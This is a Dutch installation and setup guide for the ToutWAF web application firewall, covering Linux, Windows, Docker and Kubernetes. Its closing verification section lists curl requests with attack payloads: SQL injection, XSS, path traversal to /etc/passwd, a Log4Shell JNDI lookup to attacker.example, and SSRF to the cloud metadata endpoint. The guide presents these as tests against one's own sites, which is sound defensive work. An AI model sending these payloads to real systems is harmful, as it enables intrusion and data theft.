ToutWAF stap voor stap installeren

Kopieer-en-plak-procedures voor AlmaLinux 10, andere Linux-distributies, Windows, Docker en Kubernetes. Native binaries: geen runtime om te installeren. Voer daarna de wizard uit, schakel de DNS om en controleer.

Welke versie u installeert

De openbare versie is een ontwikkelversie met de naam 0.3.0-dev. De naam blijft gelijk: elke publicatie vervangt de vorige en een build-id onderscheidt twee builds. Er bestaat nog geen stabiele versie: die wordt pas gepubliceerd als elk systeem en elk pakket van begin tot eind is getest. De opdrachten op deze pagina installeren daarom vanuit het kanaal dev. Een ontwikkelversie kan fouten bevatten: probeer haar eerst op een testsite voordat u erop vertrouwt.

Vereisten

Een 64-bits server (amd64 of arm64) met Linux of Windows, root- of beheerderstoegang en vrije poorten 80 en 443. De console luistert op poort 9443, onder een geheim pad. De details over vereisten en afhankelijkheden staan hieronder.

Vereisten en afhankelijkheden

Wat uw server nodig heeft, wat de installer toevoegt en wat optioneel blijft.

Ondersteunde systemen

Linux met systemd 239 of nieuwer en glibc 2.28 of nieuwer, op amd64 of arm64: AlmaLinux, Rocky Linux, RHEL en Oracle Linux 8 tot 10, CentOS Stream, Fedora, Amazon Linux 2023, Debian 11 tot 13, Ubuntu 20.04 tot 26.04, openSUSE en Arch (volledige tabel hieronder). Windows 10, 11 en Server 2016 tot 2025 (nog niet op een echte Windows-host uitgevoerd). De installer controleert uw systeem voordat hij iets wijzigt. Servers die u vanuit de console toevoegt: de host-agent bestaat voor Linux (amd64, arm64) en Windows (amd64).

Netwerkpoorten

80 en 443: webverkeer (data plane). 9443: console (te wijzigen met --cp-port). 9444: API voor data-plane-nodes en serveragents; de installer opent deze niet, sta haar alleen toe vanaf uw eigen servers. 127.0.0.1:9101: lokaal gezondheidseindpunt. UDP 443 blijft gesloten (HTTP/3 is niet geïmplementeerd). Serveragents maken alleen uitgaande verbindingen naar poort 9444.

Wat de installer doet

Vereist root- of beheerdersrechten en uitgaand HTTPS om de release te downloaden. Installeert curl, tar en libcap als ze ontbreken (en policycoreutils-python-utils op SELinux-systemen), maakt een gebruiker toutwaf zonder privileges en één installatiemap (/var/toutwaf met bin, conf, data en logs; --home DIR wijzigt die, en een oudere installatie houdt haar paden), installeert geharde systemd-services (Windows-services onder Windows), laat de data plane poort 80 en 443 gebruiken zonder root, opent standaard de firewall wanneer firewalld of ufw actief is (80, 443 en de consolepoort; --console-from beperkt de console, --no-firewall schakelt het uit), labelt bestanden voor SELinux en controleert SHA-256-sommen.

Taal van de installer

Standaard Engels; de installer herkent de systeemtaal. Forceer er een met --fr --de --es --it --pt --nl --ru --zh --ar of --en (Windows: -Fr enz., of de variabele TOUTWAF_LANG).

Zelfstandige binaries

De data plane is in Rust geschreven, de control plane en de agent in Go, en de console is ingebed in de control plane. Geen Python-, Node.js- of Java-runtime en geen databaseserver te installeren: gegevens staan in SQLite. De Rust-data-plane vereist glibc 2.28 of nieuwer. Belangrijkste componenten van derden: tokio, hyper en rustls (Rust), Svelte en xterm.js (console).

Optionele onderdelen

ClamAV voor antivirusscans op Linux-hosts (de console kan het voor u installeren); Microsoft Defender op Windows. openssl alleen als u de handtekeningcontrole van releases inschakelt, cosign alleen als u daarmee handtekeningen wilt laten controleren. Docker is niet vereist: de Docker- en Kubernetes-manifests zijn alternatieve manieren om te implementeren.

ToutPanel (webhostingserver)

Wordt vanuit de console via SSH geïnstalleerd, of met een eigen installer. Linux: Debian 11 t/m 13, Ubuntu 20.04 t/m 24.04, AlmaLinux, Rocky Linux en RHEL 9 en 10, Fedora 40 en nieuwer. Windows 10 en 11, Windows Server 2016 t/m 2025. Vereist root en bash (Linux) of PowerShell 5.1+ als beheerder (Windows), Python 3.9 t/m 3.14 (door het script geïnstalleerd als de distributie het levert), minstens 1 GB RAM (2 GB aanbevolen met MariaDB en PHP), 2 GB vrije schijfruimte plus uw sites en uitgaand HTTPS. Het paneel luistert standaard op poort 8888; poort 80 en 443 bedienen de sites. Bron: de ToutPanel-README.

ToutWAF publiceert nog geen minimumwaarden voor cpu, RAM of schijf: dimensioneer uw server met een test op uw eigen verkeer.

Ondersteunde systemen

Door de installer gecontroleerd voordat hij iets wijzigt. De statussen komen uit de eigen gegevens van de installer.

  • tested De volledige installatietest in containers is op precies die versie geslaagd.
  • expected Dezelfde familie, voldoende recente glibc en systemd, maar de volledige test is niet uitgevoerd.
  • unsupported Vóór elke wijziging geweigerd (op eigen risico te omzeilen met --skip-os-check).
amd64supportedarm64supportedarm32unsupported
DistributieVersies
AlmaLinux10tested9tested8tested
Rocky Linux10tested9tested8tested
Red Hat Enterprise Linux10tested9tested8tested7unsupported
CentOS Stream10tested9tested8unsupported7unsupported
Oracle Linux10tested9tested8tested7unsupported
Fedora44tested43tested42tested41tested
Amazon Linux2023tested2unsupported
Debian13tested12tested11tested10unsupported
Ubuntu26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported
Linux Mint / LMDEalle versiesexpected
Pop!_OSalle versiesexpected
Zorin OSalle versiesexpected
elementary OSalle versiesexpected
Kali Linuxrollingexpected
Raspberry Pi OS (32-bit, Raspbian)alle versiesunsupported
Devuanalle versiesunsupported
openSUSE Leap16.0tested15.6tested
openSUSE Tumbleweedrollingtested
openSUSE Slowrollrollingexpected
SUSE Linux Enterprise Server16.0expected15.7expected15.6expected
SUSE Linux Micro / MicroOS / Aeonalle versiesunsupported
openSUSE MicroOS / Aeon / Kalpaalle versiesunsupported
Arch Linuxrollingtested
Manjarorollingexpected
EndeavourOSrollingexpected
Garuda Linuxrollingexpected
CachyOSrollingexpected
Artix Linuxalle versiesunsupported
Alpine Linuxalle versiesunsupported
Void Linuxalle versiesunsupported
NixOSalle versiesunsupported
WindowsWindows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected
Controleren zonder te installeren: sudo bash install.sh --check-compat (Windows: -CheckCompat). De exitstatus is 0 als het compatibel is en anders 3. Om op eigen risico door te gaan op een niet-ondersteund systeem gebruikt u --skip-os-check: dat gebeurt nooit stilzwijgend en omzeilt de weigering van 32-bits ARM niet.
Raspberry Pi en andere arm64-servers: Raspberry Pi 3, 4, 5 en Zero 2 W hebben een 64-bits besturingssysteem nodig (Raspberry Pi OS 64-bits, Ubuntu of Debian arm64). De arm64-build is alleen onder emulatie gedraaid, nooit op echte hardware, en er bestaat geen benchmark. 32-bits ARM wordt geweigerd.
Windows 10 (1809 en nieuwer), 11 en Server 2016 tot 2025 zijn expected: de Windows-installer is niet op een echte Windows-host uitgevoerd. De Windows ARM64-build is alleen gecrosscompileerd en nooit uitgevoerd.
Docker: de alles-in-één-image is alleen op Linux amd64 getest. Macs met Apple Silicon en Intel zijn ongetest en native macOS wordt niet geleverd.

De installatiewizard: van nul tot een beschermde site

Bij de eerste start brengt de webwizard u van nul naar een beveiligde site, in detectiemodus, zonder iets te breken.

Domein en origin

Voer het openbare domein en het adres van uw server in.

Automatisch certificaat

Een certificaat van de autoriteit van uw keuze (standaard Let's Encrypt) wordt voor u aangevraagd en vernieuwd.

Stackdetectie

ToutWAF herkent WordPress, Laravel, Django en meer.

Beleidssjabloon

Er wordt een passend sjabloon voorgesteld. Bekijk het of behoud de standaard.

Detectiemodus

Het verkeer wordt enkele dagen geanalyseerd zonder te blokkeren, daarna wordt een rapport opgesteld.

Overschakelen op blokkeren

Eén klik om af te dwingen, één klik om terug te draaien.

Detectierapport na 7 dagen (voorbeeld)
  • ✓99,8% van het verkeer zou worden toegestaan
  • !3 regels veroorzaken 95% van de valse positieven
  • ✓3 uitzonderingen voorgesteld, klaar om te beoordelen

Werk het systeem bij en installeer de vereisten

bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Installeer met de one-line installer

Het script downloadt de native binaries voor uw architectuur, maakt een eigen gebruiker zonder privileges aan en installeert de geharde systemd-services toutwaf-dp (data plane, poorten 80 en 443) en toutwaf-cp (control plane en console, poort 9443). Daarna toont het uw eerste inloggegevens.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Liever eerst het script lezen?

Download het, bekijk het en voer het daarna uit. Aanbevolen voor productieservers.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Opties van het installatieprogramma

Een nieuwe installatie staat in één map, /var/toutwaf (bin, conf, data en logs; wijzig dit met --home DIR of TOUTWAF_HOME), en de opdrachtregelhulpmiddelen worden gelinkt in /usr/local/bin. Een eerdere installatie houdt haar eigen paden (/etc/toutwaf, /var/lib/toutwaf) en wordt nooit verplaatst.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Open de firewall

Het installatieprogramma opent deze poorten standaard wanneer firewalld of ufw actief is: 80 en 443, en de consolepoort 9443 (beperk die tot uw beheernetwerk met --console-from). De agentpoort 9444 wordt nooit publiek geopend. Deze commando's zijn alleen nodig met --no-firewall, bij een andere firewall of om het handmatig te doen.

firewalld
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-all

SELinux

Houd SELinux op enforcing. Label de ToutWAF-mappen en controleer dat er geen AVC-weigering wordt gelogd.

selinux
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recent

Beheer de services

Beide services starten bij het opstarten. Gebruik deze commando's om ze te starten, stoppen of herstarten.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Controleer de services

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Upgraden

Maak een back-up van de configuratie en de data en voer het installatieprogramma opnieuw uit: het behoudt uw instellingen en draait zelf terug als de nieuwe versie niet gezond wordt. De getoonde paden zijn die van een nieuwe installatie (/var/toutwaf); een oudere installatie houdt /etc/toutwaf en /var/lib/toutwaf. U kunt ook bijwerken vanuit de console, op de pagina Updates.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Verwijderen

Het eerste blok verwijdert de services, de binaries en de door ToutWAF toegevoegde firewallregels en bewaart uw data. Het tweede wist ook configuratie, data en logs.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Werk het systeem bij en installeer de vereisten

Rocky Linux, RHEL 8 tot 10 en andere Enterprise Linux-klonen gebruiken dezelfde commando's als AlmaLinux. Volg na de installatie de firewalld- en SELinux-stappen van het tabblad AlmaLinux 10.
bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Installeer met de one-line installer

Het script downloadt de native binaries voor uw architectuur, maakt een eigen gebruiker zonder privileges aan en installeert de geharde systemd-services toutwaf-dp (data plane, poorten 80 en 443) en toutwaf-cp (control plane en console, poort 9443). Daarna toont het uw eerste inloggegevens.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Liever eerst het script lezen?

Download het, bekijk het en voer het daarna uit. Aanbevolen voor productieservers.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Opties van het installatieprogramma

Een nieuwe installatie staat in één map, /var/toutwaf (bin, conf, data en logs; wijzig dit met --home DIR of TOUTWAF_HOME), en de opdrachtregelhulpmiddelen worden gelinkt in /usr/local/bin. Een eerdere installatie houdt haar eigen paden (/etc/toutwaf, /var/lib/toutwaf) en wordt nooit verplaatst.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Beheer de services

Beide services starten bij het opstarten. Gebruik deze commando's om ze te starten, stoppen of herstarten.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Controleer de services

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Upgraden

Maak een back-up van de configuratie en de data en voer het installatieprogramma opnieuw uit: het behoudt uw instellingen en draait zelf terug als de nieuwe versie niet gezond wordt. De getoonde paden zijn die van een nieuwe installatie (/var/toutwaf); een oudere installatie houdt /etc/toutwaf en /var/lib/toutwaf. U kunt ook bijwerken vanuit de console, op de pagina Updates.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Verwijderen

Het eerste blok verwijdert de services, de binaries en de door ToutWAF toegevoegde firewallregels en bewaart uw data. Het tweede wist ook configuratie, data en logs.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Installeer de vereisten (apt)

bash
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufw

Installeer met de one-line installer

Het script downloadt de native binaries voor uw architectuur, maakt een eigen gebruiker zonder privileges aan en installeert de geharde systemd-services toutwaf-dp (data plane, poorten 80 en 443) en toutwaf-cp (control plane en console, poort 9443). Daarna toont het uw eerste inloggegevens.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Liever eerst het script lezen?

Download het, bekijk het en voer het daarna uit. Aanbevolen voor productieservers.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Opties van het installatieprogramma

Een nieuwe installatie staat in één map, /var/toutwaf (bin, conf, data en logs; wijzig dit met --home DIR of TOUTWAF_HOME), en de opdrachtregelhulpmiddelen worden gelinkt in /usr/local/bin. Een eerdere installatie houdt haar eigen paden (/etc/toutwaf, /var/lib/toutwaf) en wordt nooit verplaatst.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Open de firewall (ufw)

Het installatieprogramma opent deze poorten standaard wanneer firewalld of ufw actief is: 80 en 443, en de consolepoort 9443 (beperk die tot uw beheernetwerk met --console-from). De agentpoort 9444 wordt nooit publiek geopend. Deze commando's zijn alleen nodig met --no-firewall, bij een andere firewall of om het handmatig te doen.

ufw
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw status

Beheer de services

Beide services starten bij het opstarten. Gebruik deze commando's om ze te starten, stoppen of herstarten.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Controleer de services

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Upgraden

Maak een back-up van de configuratie en de data en voer het installatieprogramma opnieuw uit: het behoudt uw instellingen en draait zelf terug als de nieuwe versie niet gezond wordt. De getoonde paden zijn die van een nieuwe installatie (/var/toutwaf); een oudere installatie houdt /etc/toutwaf en /var/lib/toutwaf. U kunt ook bijwerken vanuit de console, op de pagina Updates.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Verwijderen

Het eerste blok verwijdert de services, de binaries en de door ToutWAF toegevoegde firewallregels en bewaart uw data. Het tweede wist ook configuratie, data en logs.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Open PowerShell als beheerder en voer de installer uit

Installeert de native binaries, registreert de Windows-service ToutWAF voor de data plane en een opstarttaak voor de console, en opent de firewallpoorten. De installer is nog niet op een echte Windows-host uitgevoerd.

PowerShell (Admin)
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iex

Open de firewall

Het installatieprogramma opent deze poorten standaard wanneer firewalld of ufw actief is: 80 en 443, en de consolepoort 9443 (beperk die tot uw beheernetwerk met --console-from). De agentpoort 9444 wordt nooit publiek geopend. Deze commando's zijn alleen nodig met --no-firewall, bij een andere firewall of om het handmatig te doen.

PowerShell (Admin)
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action Allow

Controleer de services

PowerShell
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443

Upgraden

Maak een back-up van de configuratie en de data en voer het installatieprogramma opnieuw uit: het behoudt uw instellingen en draait zelf terug als de nieuwe versie niet gezond wordt. De getoonde paden zijn die van een nieuwe installatie (/var/toutwaf); een oudere installatie houdt /etc/toutwaf en /var/lib/toutwaf. U kunt ook bijwerken vanuit de console, op de pagina Updates.

PowerShell (Admin)
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -Yes

Verwijderen

Het eerste blok verwijdert de services, de binaries en de door ToutWAF toegevoegde firewallregels en bewaart uw data. Het tweede wist ook configuratie, data en logs.

PowerShell (Admin)
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall
purge
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -Purge

Docker Compose op Mac of Linux

Docker Compose op Linux of een Mac (Docker Desktop, OrbStack, Colima), met de alles-in-één-image (control plane en data plane). De bestanden komen met uw ToutWAF-distributie (de map deploy, die niet in de openbare repository staat: die bevat alleen binaries en installers). De image bevat vooraf gecompileerde binaries per architectuur (bin/amd64 of bin/arm64) en er wordt nog geen image in een registry gepubliceerd. Alleen getest op Linux amd64; ongetest op een echte Mac, waar het geziene client-IP achter Docker Desktop het adres van de Docker-gateway is. De eenmalige inloggegevens verschijnen één keer in het log van de control plane.

bash
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cp

Bijwerken (containers)

Maak eerst een back-up. De updateknop van de console kan in een container niet werken: vervang de binaries in de map bin (of de image, zodra er een is gepubliceerd) en bouw opnieuw; de volumes, dus uw gegevens, blijven behouden.

bash
docker compose up -d --build

Verwijderen

Het eerste blok verwijdert de services, de binaries en de door ToutWAF toegevoegde firewallregels en bewaart uw data. Het tweede wist ook configuratie, data en logs.

bash
docker compose down
purge
docker compose down -v

Installeer met Helm

Rolt de data plane uit als ingress, desgewenst met een control plane in het cluster. De chart en de manifests (sidecar-modus inbegrepen) staan in de map deploy van uw ToutWAF-distributie, niet in de openbare repository, die alleen binaries en installers bevat. De operator bestaat uit CRD's en een geraamte.

bash
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yaml

Controleer de pods en open de console

bash
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443

Bijwerken (containers)

Maak eerst een back-up. De updateknop van de console kan in een container niet werken: vervang de binaries in de map bin (of de image, zodra er een is gepubliceerd) en bouw opnieuw; de volumes, dus uw gegevens, blijven behouden.

bash
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yaml

Verwijderen

Het eerste blok verwijdert de services, de binaries en de door ToutWAF toegevoegde firewallregels en bewaart uw data. Het tweede wist ook configuratie, data en logs.

bash
helm uninstall toutwaf --namespace toutwaf
purge
kubectl delete namespace toutwaf

Na de installatie: configureren en controleren

Eerste aanmelding

Open de geheime consolelink die aan het einde van de installatie wordt getoond (de console antwoordt alleen onder dat pad) en gebruik de eenmalige installatielink of het eenmalig in het overzicht gegenereerde beheerderswachtwoord. Schakel meteen tweefactorauthenticatie in en maak een tweede beheerder aan, zodat u nooit buitengesloten raakt.

console
Console : https://<server>:9443/<secret-path>/   (printed by the installer)
CLI     : toutwafctl --help
Health  : http://127.0.0.1:9101/healthz   (data plane, local only)

Voeg uw eerste site toe

Klik bij Sites op Nieuwe site en voer het openbare domein en de upstream (het echte adres van uw server) in. Begin in de modus alleen detectie en schakel over op blokkeren zodra het rapport schoon oogt. Sites kunt u ook aanmaken met de REST-API en een API-token.

API
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
  -H "Authorization: Bearer $TOUTWAF_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'

Schakel de DNS om

Verlaag de TTL van uw records een dag van tevoren. Laat daarna de A- / AAAA-records van het domein naar de ToutWAF-server wijzen. Zodra de DNS is doorgevoerd, wordt het certificaat uitgegeven. Beperk de firewall van uw origin zodat alleen de ToutWAF-server die kan bereiken.

DNS
example.com.      300  IN  A      203.0.113.10
www.example.com.  300  IN  CNAME  example.com.
origin firewall
sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcp

Controleer met testaanvallen

Elk van deze verzoeken moet 403 teruggeven en onder Aanvallen verschijnen (in blokkeermodus). Voer ze alleen uit op uw eigen sites.

Gebruik in Windows PowerShell curl.exe in plaats van curl, dat een alias is.
curl
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/

Probleemoplossing

De console is niet bereikbaar op poort 9443

Start de ToutWAF-dokter op de server: hij controleert de services, poorten en firewall van de machine en zegt wat u moet doen. Hij werkt ook vanaf de opdrachtregel als de console zelf onbereikbaar is; een eventuele cloudbeveiligingsgroep voor de server moet ook poort 9443 doorlaten.

Legitieme verzoeken worden geblokkeerd (valse positieven)

Open de gebeurtenis onder Aanvallen, lees de uitleg en klik op de knop voor valse positieve om de smalste uitzondering te maken, of verlaag het paranoia-niveau van de site.

502 Bad Gateway

ToutWAF bereikt uw origin niet. Open de ToutWAF-dokter, regel ‘Origin-server’: hij zegt of de poort de verbinding weigert, de naam niet wordt omgezet of het certificaat niet wordt vertrouwd, en wat u moet doen. Controleer ook de firewall van de origin.

Uitgifte via Let's Encrypt mislukt

De ToutWAF-dokter controleert vóór een bestelling de DNS (ook een bij een CDN of proxy achtergebleven AAAA-record) en of poort 80 bereikbaar is. Gebruik voor een wildcardcertificaat de DNS-01-challenge.

Het echte client-IP klopt niet in mijn app

Lees de door ToutWAF gezette header X-Forwarded-For en vertrouw die alleen als hij van het adres van de ToutWAF-server komt.

Waar staan de logs?

Gebruik de pagina's Logs en Gebeurtenissen van de console. De services schrijven ook naar het systeemjournaal van de machine, en de dokter maakt een tekstrapport dat u naar de support kunt sturen.

Volgende stap: lees de volledige documentatie